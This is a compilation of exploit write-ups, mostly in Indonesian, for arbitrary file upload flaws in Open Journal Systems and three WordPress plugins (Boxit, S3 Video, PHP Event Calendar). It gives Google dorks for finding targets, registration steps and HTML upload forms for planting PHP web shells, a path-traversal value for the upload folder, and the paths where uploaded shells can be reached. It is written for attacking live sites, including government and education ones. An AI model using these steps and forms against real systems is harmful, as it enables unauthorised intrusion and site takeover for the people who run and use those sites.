Open Journal System Exploit

#- Title: Open Journal System Exploit
#- Author: GadiZ ft M0J4NG_PR!4/VGN
#- Years : 2016
#- Developer :  Public Knowledge Project
#- Link Download : pkp. sfu. ca/ojs/ojs_download/
#- Google Dork: No Dork, Use your brain
#- Fixed in Version : -
#- Tested on : linuxexy

=======================================================

-- Proof Of Concept --

Description : 

Open Journal Systems (OJS) Adalah sebuah aplikasi Journal terbuka untuk menejemen yang biasa di gunakan dalam pemerintah, pendidikan & lembaga lain. Jadi banyak web pemerintah, pendidikan & lembaga lain yang menggunakan ini. 

Vulnerability : Uploader File Data

When Vulnerable : /index.php/index/user/register ( Bisa registrasi )

--Method--

1. Kamu harus mendaftar dulu disini > site,com/index.php/index/user/register

*Note Jangan Lupa untuk mencentang Registrasi sebabagi Author / penulis & Jangan ceklis Email konfimasi

2. Setelah Registasi Klik "New Submission"

3. Selesaikan Step 1

4. Di Step 2, kamu dapat upload shell (format shell : 3xploi7.phtml)

*Note Upload Shell yang ukuran kecil aja, contoh 8 kb. 

5. Jika sukses maka seperti ini

Penjelasan : 

Filename : 18358-51417-1-SM.phtml

18358 = id user kamu

Shell Path : 

/files/journals/1/articles/[iduser]/submission/original/[nama file].phtml

Contoh : files/journals/1/articles/18358/submission/original/18358-51417-1-SM.phtml

Wordpress Boxit Plugins File Upload Vulnerability

#- Title: Wordpress Boxit Plugins File Upload Vulnerability

#- Author: unknown

#- Date: 26/12/15

#- Developer : boxit.sd-dev .com

#- Link Download : codecanyon .net/item/boxit-the-dropbox-file-upload-for-wordpress/4425955

#- Google Dork: inurl:"/plugins/boxit/"

#- Fixed in Version : -

#- Tested on : Windows 

==================================================

-- Proof Of Concept --

When Vuln:
{"jsonrpc" : "2.0", "result" : "ok"} 

CSRF :

<formaction="http://target/wp-content/plugins/boxit/upload.php"
method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="Filedata" ><br>
<input type="submit" name="submit" value="3xploi7ed !">
</form>

Shell Path : Here

WordPress Plugins S3 Video Remote Shell Upload

#- Title: WordPress Plugin S3 Video Remote Shell Upload

#- Author: Manish Kishan Tanwar AKA error1046

#- Date: 9/12/2015

#- Developer : Anthony Mills

#- Link Download : Wordpress. org/plugins/s3-video/

#- Google Dork: inurl:wp-content/plugins/s3-video/

#- Tested on : Win 8.1 RT

#- Fixed in Version : > 0.91

/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\

Vulrnerability : 

/wp-content/plugins/s3-video/includes/uploadify.php

Description : 

Wordpress plugins S3 Video is suffer from uploadify vulnerability remote attacker can upload file/shell/backdoor and exec commands or disclosure some local files.

Solution:

Upgrade new version of patch

-- Proof Of Concept --

You can use remote (xampp) , but i'd do simple way.. i will use csrf method.

Code : 

<form method=post action="http://www.3xploi7. com/wp-content/plugins/s3-video/includes/uploadify.php" enctype="multipart/form-data">
<input type=file name=Filedata> <input type=submit name=submit>

Shell Path : Here !!

WordPress PHP Event Calendar 1.5 Arbitrary File Upload

#- Title: WordPress PHP Event Calendar Arbitrary File Upload

#- Author: CrashBandicot

#- Date: 04/02/2015

#- Vendor : phpeventcalendar. com

#- Developer : -

#- Link Download : Wordpress. org/plugins/php-event-calendar/

#- Google Dork: inurl:wp-content/plugins/php-event-calendar/

#- Tested on : MSwin

#- Fixed in Version : > 1.5

=======================================================================

 &- Vulnerability : /wp-content/plugins/php-event-calendar/server/classes/uploadify.php ( "Uploadify.php" )

Bug Code :

<?php

/*

Uploadify

Copyright (c) 2012 Reactive Apps, Ronnie Garcia

Released under the MIT License <http://www.opensource.org/licenses/mit-license.php>

*/

// Define a destination

//$targetFolder = '/uploads'; // Relative to the root

$targetFolder = $_POST['targetFolder']; // wp upload directory

$dir = str_replace('\\','/',dirname(__FILE__));

//$verifyToken = md5('unique_salt' . $_POST['timestamp']);

if (!empty($_FILES)) {

    $tempFile = $_FILES['Filedata']['tmp_name'];

    //$targetPath = $dir.$targetFolder;

    $targetPath = $targetFolder;

    $fileName = $_POST['user_id'].'_'.$_FILES['Filedata']['name'];

    $targetFile = rtrim($targetPath,'/') . '/' . $fileName;

    // Validate the file type

    $fileTypes = array('jpg','jpeg','gif','png'); // File extensions

    $fileParts = pathinfo($_FILES['Filedata']['name']);

    if (in_array($fileParts['extension'],$fileTypes)) {

        move_uploaded_file($tempFile,$targetFile);

        echo '1';

    } else {

        echo 'Invalid file type.';



    }

&- When Vulnerable : *Blank*

Proof Of Concept :

Material : Sh3ll.php.gif (if support) / Upload image.gif

HTML Code : 

<div><form action="http://3xploi7.com/wp-content/plugins/php-event-calendar/server/classes/uploadify.php"  method="post" enctype="multipart/form-data">
 <input type="file" name="Filedata" id="file" ><br>
 <input type="text" name="targetFolder" value="../../../../../" id="file" ><br>
 <input type="text" name="user_id" value="3xploi7" id="file" ><br>
 <input type="submit" name="submit" value="3xploi7ed !" >
</form></div>

Shell Acces ? Here